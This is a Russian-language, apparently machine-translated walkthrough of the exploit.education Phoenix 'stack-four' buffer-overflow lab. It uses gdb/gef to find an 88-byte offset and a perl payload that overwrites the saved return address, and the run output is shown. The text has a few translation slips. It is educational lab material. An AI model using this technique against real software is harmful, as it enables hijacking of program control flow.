Используемые инструменты
- Linux (подойдет любой дистрибутив)
- gdb с gef
- исходный код для этой задачи
Цель вызова
/*
* phoenix/stack-four, by https://exploit.education
*
* The aim is to execute the function complete_level by modifying the
* saved return address, and pointing it to the complete_level() function.
*
* Why were the apple and orange all alone? Because the bananna split.
*/
Компиляция
Мы будем использовать gcc для его компиляции, отключив только ASLR, NX может остаться, мы ничего не выполняем в стеке.
gcc stack_four.c -o stack_four -fno-stack-protector
Теперь у нас должен быть скомпилированный двоичный файл, и этого должно быть относительно легко достичь.
План действий
- Заполнить наш буфер
- Узнать адрес функции
start_level
- Перелейте на
*ret
указатель на наш адрес и выясните, где находитсяret
.
Давайте зажжем gdb
на stack_four
root@x:/home/hacking/phoenix# gdb -q ./stack_four GEF for linux ready, type `gef' to start, `gef config' to configure 80 commands loaded for GDB 7.11.1 using Python engine 3.5 [+] Configuration from '/home/user/.gef.rc' restored Reading symbols from ./stack_four...(no debugging symbols found)...done.
Посмотрите на start_level
и complete_level
, так мы получим смещение сохраненного RIP внутри start_level и перезапишем его адресом до начала complete_level
.
gef➤ disas start_level Dump of assembler code for function start_level: 0x000000000040060e <+0>: push rbp 0x000000000040060f <+1>: mov rbp,rsp 0x0000000000400612 <+4>: sub rsp,0x50 0x0000000000400616 <+8>: lea rax,[rbp-0x50] 0x000000000040061a <+12>: mov rdi,rax 0x000000000040061d <+15>: call 0x4004d0 <gets@plt> 0x0000000000400622 <+20>: mov rax,QWORD PTR [rbp+0x8] 0x0000000000400626 <+24>: mov QWORD PTR [rbp-0x8],rax 0x000000000040062a <+28>: mov rax,QWORD PTR [rbp-0x8] 0x000000000040062e <+32>: mov rsi,rax 0x0000000000400631 <+35>: mov edi,0x400733 0x0000000000400636 <+40>: mov eax,0x0 0x000000000040063b <+45>: call 0x4004b0 <printf@plt> 0x0000000000400640 <+50>: nop 0x0000000000400641 <+51>: leave 0x0000000000400642 <+52>: ret End of assembler dump. gef➤ disas complete_level Dump of assembler code for function complete_level: 0x00000000004005f6 <+0>: push rbp 0x00000000004005f7 <+1>: mov rbp,rsp 0x00000000004005fa <+4>: mov edi,0x4006f8 0x00000000004005ff <+9>: call 0x4004a0 <puts@plt> 0x0000000000400604 <+14>: mov edi,0x0 0x0000000000400609 <+19>: call 0x4004e0 <exit@plt> End of assembler dump.
Теперь у нас есть два адреса: один в start_level, где мы хотим разместить нашу точку останова, и один в complete_level, где мы хотим переопределить наш сохраненный адрес возврата.
Вычисление смещения
Теперь мы можем запустить его с нашим заполненным буфером и посмотреть, где мы хотим переопределить наш адрес возврата, мы могли бы просто ввести новый адрес возврата, и это просто сработало бы.
Вот пример нашего спрея с обратным адресом, простой и более хакерский способ!
root@x:/home/hacking/phoenix# perl -e 'print "\xf6\x05\x40\x00\x00\x00\x00\x00" x 30' | ./stack_four Welcome to stack_four, brought to you by https://exploit.education and will be returning to 0x4005f6 Congratulations, you've finished stack_four :-) Well done!
Но это простой способ, давайте попробуем разобраться во всем правильно, вместо того, чтобы пробираться через грубую силу.
Давайте запустим сеанс gdb и установим точку останова сразу после того, как call
попадет внутрь start_level
.
gef➤ b *0x0000000000400622 Breakpoint 1 at 0x400622
Запустите его с нашим буфером, заполненным кучей A
gef➤ run <<< $(python -c 'print "A" * 63') Starting program: /home/hacking/phoenix/stack_four <<< $(python -c 'print "A" * 63') Welcome to stack_four, brought to you by https://exploit.education 0x400612 <start_level+4> sub rsp, 0x50 0x400616 <start_level+8> lea rax, [rbp-0x50] 0x40061a <start_level+12> mov rdi, rax 0x40061d <start_level+15> call 0x4004d0 <gets@plt> → 0x400622 <start_level+20> mov rax, QWORD PTR [rbp+0x8] 0x400626 <start_level+24> mov QWORD PTR [rbp-0x8], rax 0x40062a <start_level+28> mov rax, QWORD PTR [rbp-0x8] 0x40062e <start_level+32> mov rsi, rax 0x400631 <start_level+35> mov edi, 0x400733 0x400636 <start_level+40> mov eax, 0x0 0x40063b <start_level+45> call 0x4004b0 <printf@plt>
Теперь мы можем пройти весь путь до выделенной инструкции и собрать некоторую информацию.
gef➤ x/64xw $rsp 0x7fffffffe280: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffe290: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffe2a0: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffe2b0: 0x41414141 0x41414141 0x41414141 0x00414141 0x7fffffffe2c0: 0x00000000 0x00000000 0x00400666 0x00000000 0x7fffffffe2d0: 0xffffe2f0 0x00007fff 0x00400666 0x00000000 0x7fffffffe2e0: 0xffffe3d8 0x00007fff 0x00000000 0x00000001 0x7fffffffe2f0: 0x00400670 0x00000000 0xf7a2d830 0x00007fff 0x7fffffffe300: 0x00000000 0x00000000 0xffffe3d8 0x00007fff 0x7fffffffe310: 0x00000000 0x00000001 0x00400643 0x00000000 0x7fffffffe320: 0x00000000 0x00000000 0x65e18715 0x990107c2 0x7fffffffe330: 0x00400500 0x00000000 0xffffe3d0 0x00007fff 0x7fffffffe340: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffe350: 0xaf018715 0x66fef8bd 0xc6d18715 0x66fee807 0x7fffffffe360: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffe370: 0x00000000 0x00000000 0x00000001 0x00000000 gef➤ info frame Stack level 0, frame at 0x7fffffffe2e0: rip = 0x400636 in start_level; saved rip = 0x400666 called by frame at 0x7fffffffe300 Arglist at 0x7fffffffe2d0, args: Locals at 0x7fffffffe2d0, Previous frame's sp is 0x7fffffffe2e0 Saved registers: rbp at 0x7fffffffe2d0, rip at 0x7fffffffe2d8 gef➤ disas main Dump of assembler code for function main: 0x0000000000400643 <+0>: push rbp 0x0000000000400644 <+1>: mov rbp,rsp 0x0000000000400647 <+4>: sub rsp,0x10 0x000000000040064b <+8>: mov DWORD PTR [rbp-0x4],edi 0x000000000040064e <+11>: mov QWORD PTR [rbp-0x10],rsi 0x0000000000400652 <+15>: mov edi,0x400750 0x0000000000400657 <+20>: call 0x4004a0 <puts@plt> 0x000000000040065c <+25>: mov eax,0x0 0x0000000000400661 <+30>: call 0x40060e <start_level> 0x0000000000400666 <+35>: mov eax,0x0 0x000000000040066b <+40>: leave 0x000000000040066c <+41>: ret End of assembler dump. gef➤ x/x 0x7fffffffe2d8 0x7fffffffe2d8: 0x00400666
Из первого выделения мы видим начало нашего кадра стека, второе выделение — это адрес возврата, который, если вы посмотрите на выделение в main
, является местом, куда мы вернемся, но это не то место, куда мы хотим идти, и сохраненные регистры точек RIP точно на следующей инструкции после call <start_level>.
Если мы получим расстояние, мы будем точно знать, где нам нужно поместить наш обратный адрес в complete_level
и насколько мы хотим переполнить наш буфер.
gef➤ p/d 0x7fffffffe2d8 - 0x7fffffffe280 $1 = 88
Наш обратный адрес находится в 88-м байте, и когда мы дизассемблировали complete_level
, точка входа в эту функцию была 0x00000000004005f6, давайте создадим нашу полезную нагрузку.
Полезная нагрузка
perl -e 'print "A" x 88 . "\xf6\x05\x40\x00\x00\x00\x00\x00"'
Вышеупомянутое должно делать то, что мы пытались переборщить только с обратным адресом, здесь мы фактически получили смещение, как далеко от нашего буфера сохраняется обратный адрес, и мы просто хирургически заменяем его в точном месте.
Исполнение
root@x:/home/hacking/phoenix# perl -e 'print "A" x 88 . "\xf6\x05\x40\x00\x00\x00\x00\x00"' | ./stack_four Welcome to stack_four, brought to you by https://exploit.education and will be returning to 0x4005f6 Congratulations, you've finished stack_four :-) Well done!
Это было довольно легко! Удачного взлома!